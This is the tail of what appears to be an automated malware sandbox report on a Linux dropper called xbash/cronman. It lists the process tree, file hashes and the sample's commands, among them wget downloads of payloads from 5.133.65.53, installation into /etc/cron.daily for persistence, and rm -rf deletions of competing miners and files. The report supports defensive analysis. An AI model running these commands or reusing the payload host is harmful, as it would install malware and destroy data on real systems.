                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:658
                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                rm -rf "/root/.local/share/Trash/*/**"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:659
                                                                                                                                                                                                                                                                                                                • rm
                                                                                                                                                                                                                                                                                                                  rm -rf "/usr/share/man/??"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:660
                                                                                                                                                                                                                                                                                                                  • rm
                                                                                                                                                                                                                                                                                                                    rm -rf "/usr/share/man/??_*"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:661
                                                                                                                                                                                                                                                                                                                    • rm
                                                                                                                                                                                                                                                                                                                      rm -rf "/core.*"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:662
                                                                                                                                                                                                                                                                                                                      • rm
                                                                                                                                                                                                                                                                                                                        rm -fr /root/install
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:663
                                                                                                                                                                                                                                                                                                                        • rm
                                                                                                                                                                                                                                                                                                                          rm -fr /boot/xmrig
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:664
                                                                                                                                                                                                                                                                                                                          • rm
                                                                                                                                                                                                                                                                                                                            rm -fr /root/xmrig
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:665
                                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                                              rm -fr /kinettd
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:666
                                                                                                                                                                                                                                                                                                                              • pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 abrtd
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:667
                                                                                                                                                                                                                                                                                                                              • arch
                                                                                                                                                                                                                                                                                                                                arch
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:668
                                                                                                                                                                                                                                                                                                                                • arch
                                                                                                                                                                                                                                                                                                                                  arch
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:669
                                                                                                                                                                                                                                                                                                                                  • arch
                                                                                                                                                                                                                                                                                                                                    arch
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:670
                                                                                                                                                                                                                                                                                                                                    • cat
                                                                                                                                                                                                                                                                                                                                      cat /dev/null
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:671
                                                                                                                                                                                                                                                                                                                                      • rm
                                                                                                                                                                                                                                                                                                                                        rm -fr /root/gcclib
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:672
                                                                                                                                                                                                                                                                                                                                        • rm
                                                                                                                                                                                                                                                                                                                                          rm -fr /usr/spirit
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:673
                                                                                                                                                                                                                                                                                                                                          • rm
                                                                                                                                                                                                                                                                                                                                            rm -fr /root/tmp
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:674
                                                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                                                              rm -fr /var/lib/libgcc_a.tar.gz
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:675
                                                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                                                rm -fr /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:676
                                                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                                                rm -rf /tmp/selfgz371
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:677
                                                                                                                                                                                                                                                                                                                                              • which
                                                                                                                                                                                                                                                                                                                                                which md5sum
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:378
                                                                                                                                                                                                                                                                                                                                                • which
                                                                                                                                                                                                                                                                                                                                                  which shasum
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:380
                                                                                                                                                                                                                                                                                                                                                  • head
                                                                                                                                                                                                                                                                                                                                                    head -n 714 /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:386
                                                                                                                                                                                                                                                                                                                                                    • wc
                                                                                                                                                                                                                                                                                                                                                      wc -c
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:387
                                                                                                                                                                                                                                                                                                                                                      • sed
                                                                                                                                                                                                                                                                                                                                                        sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:388
                                                                                                                                                                                                                                                                                                                                                        • cat
                                                                                                                                                                                                                                                                                                                                                          cat /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:390
                                                                                                                                                                                                                                                                                                                                                          • wc
                                                                                                                                                                                                                                                                                                                                                            wc -c
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:391
                                                                                                                                                                                                                                                                                                                                                            • sed
                                                                                                                                                                                                                                                                                                                                                              sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:392
                                                                                                                                                                                                                                                                                                                                                              • cut
                                                                                                                                                                                                                                                                                                                                                                cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:396
                                                                                                                                                                                                                                                                                                                                                                • cut
                                                                                                                                                                                                                                                                                                                                                                  cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:400
                                                                                                                                                                                                                                                                                                                                                                  • cut
                                                                                                                                                                                                                                                                                                                                                                    cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:404
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                      /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:410
                                                                                                                                                                                                                                                                                                                                                                      • cut
                                                                                                                                                                                                                                                                                                                                                                        cut -b-32
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:409
                                                                                                                                                                                                                                                                                                                                                                        • expr
                                                                                                                                                                                                                                                                                                                                                                          expr 4194304 / 4
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:408
                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                            expr 1048576 / 4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:411
                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                              expr 262144 / 4
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:412
                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                expr 65536 / 4
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:413
                                                                                                                                                                                                                                                                                                                                                                                • expr
                                                                                                                                                                                                                                                                                                                                                                                  expr 34497 / 16384
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:414
                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 "%" 16384
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:415
                                                                                                                                                                                                                                                                                                                                                                                    • dd
                                                                                                                                                                                                                                                                                                                                                                                      dd "ibs=18556" "skip=1" "count=0"
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:417
                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                        expr 0 + 16384
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:418
                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:419
                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                            expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:420
                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                              expr 16384 / 344
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:421
                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                expr 16384 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:422
                                                                                                                                                                                                                                                                                                                                                                                                • dd
                                                                                                                                                                                                                                                                                                                                                                                                  dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:423
                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:424
                                                                                                                                                                                                                                                                                                                                                                                                    • expr
                                                                                                                                                                                                                                                                                                                                                                                                      expr 32768 / 344
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:425
                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                        expr 32768 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:426
                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=1729" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:427
                                                                                                                                                                                                                                                                                                                                                                                                          • head
                                                                                                                                                                                                                                                                                                                                                                                                            head -n 714 /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:431
                                                                                                                                                                                                                                                                                                                                                                                                            • wc
                                                                                                                                                                                                                                                                                                                                                                                                              wc -c
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:432
                                                                                                                                                                                                                                                                                                                                                                                                              • sed
                                                                                                                                                                                                                                                                                                                                                                                                                sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:433
                                                                                                                                                                                                                                                                                                                                                                                                                • df
                                                                                                                                                                                                                                                                                                                                                                                                                  df -k /tmp/selfgz371
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:436
                                                                                                                                                                                                                                                                                                                                                                                                                  • tail
                                                                                                                                                                                                                                                                                                                                                                                                                    tail -1
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:437
                                                                                                                                                                                                                                                                                                                                                                                                                    • awk
                                                                                                                                                                                                                                                                                                                                                                                                                      awk "{ if (\$4 ~ /%/) {print \$3} else {print \$4} }"
                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:438
                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                        expr 4194304 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:441
                                                                                                                                                                                                                                                                                                                                                                                                                        • gzip
                                                                                                                                                                                                                                                                                                                                                                                                                          gzip -cd
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:443
                                                                                                                                                                                                                                                                                                                                                                                                                          • tar
                                                                                                                                                                                                                                                                                                                                                                                                                            tar xpvf -
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:444
                                                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                                                            expr 1048576 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:445
                                                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                                                              expr 262144 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:446
                                                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                expr 65536 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:447
                                                                                                                                                                                                                                                                                                                                                                                                                                • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                  expr 34497 / 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:448
                                                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 "%" 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:449
                                                                                                                                                                                                                                                                                                                                                                                                                                    • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                      dd "ibs=18556" "skip=1" "count=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:451
                                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                        expr 0 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:452
                                                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:453
                                                                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                            expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:454
                                                                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                              expr 16384 / 344
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:455
                                                                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                expr 16384 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:456
                                                                                                                                                                                                                                                                                                                                                                                                                                                • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                  dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:457
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:458
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                      expr 32768 / 344
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:459
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                        expr 32768 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:460
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=1729" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:461
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                            dirname ./cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:466
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                              ps cax
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:469
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                              grep cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:470
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • wc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                wc -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:471
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dirname ./cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:482
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sed -r "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:491
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:494
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wget -h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:495
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          grep -q -- --tries
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wget "--timeout=2" "--tries=3" -O /tmp/selfgz371/tmp.file http://5.133.65.53/soft/linux/cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:497
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cat /tmp/selfgz371/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:498
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • mv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mv -f /tmp/selfgz371/tmp.file /tmp/selfgz371/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:499
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chmod 755 /tmp/selfgz371/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sed -r "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:505
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:509
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wget -h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:511
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -q -- --tries
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wget "--timeout=2" "--tries=3" -O /tmp/selfgz371/tmp.file http://5.133.65.53/soft/linux/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:513
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cat /tmp/selfgz371/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:514
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • mkdir
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          mkdir -p /root/gcclib
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:515
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            date "+%F %T"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • mv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mv -f /tmp/selfgz371/tmp.file /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:517
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chmod 755 /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:518
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dirname /tmp/selfgz371/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:523
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ps cax
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:526
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:527
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        grep cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:529
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • wc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wc -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:530

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cronman.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /etc/xbash/cronman.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 180dc9c8e8c0c6a974eae334b3340bb2d94148561c866786d8e24db4fa10cbc5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /root/gcclib/date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 20B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b23ec6a073323593939711b75b53bfe4e42c39fa7c899a1c987371596f4f7828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /tmp/selfgz371/cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 193KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 98b80efb680949f2b94a7ecce911ae84037c30d1cb739eb43778ed3be5121655
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /tmp/selfgz371/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 216KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 07ccee82020246c09d64f9433fb547753bd8777ca4df4fb6cf19a2fa7a5aa916
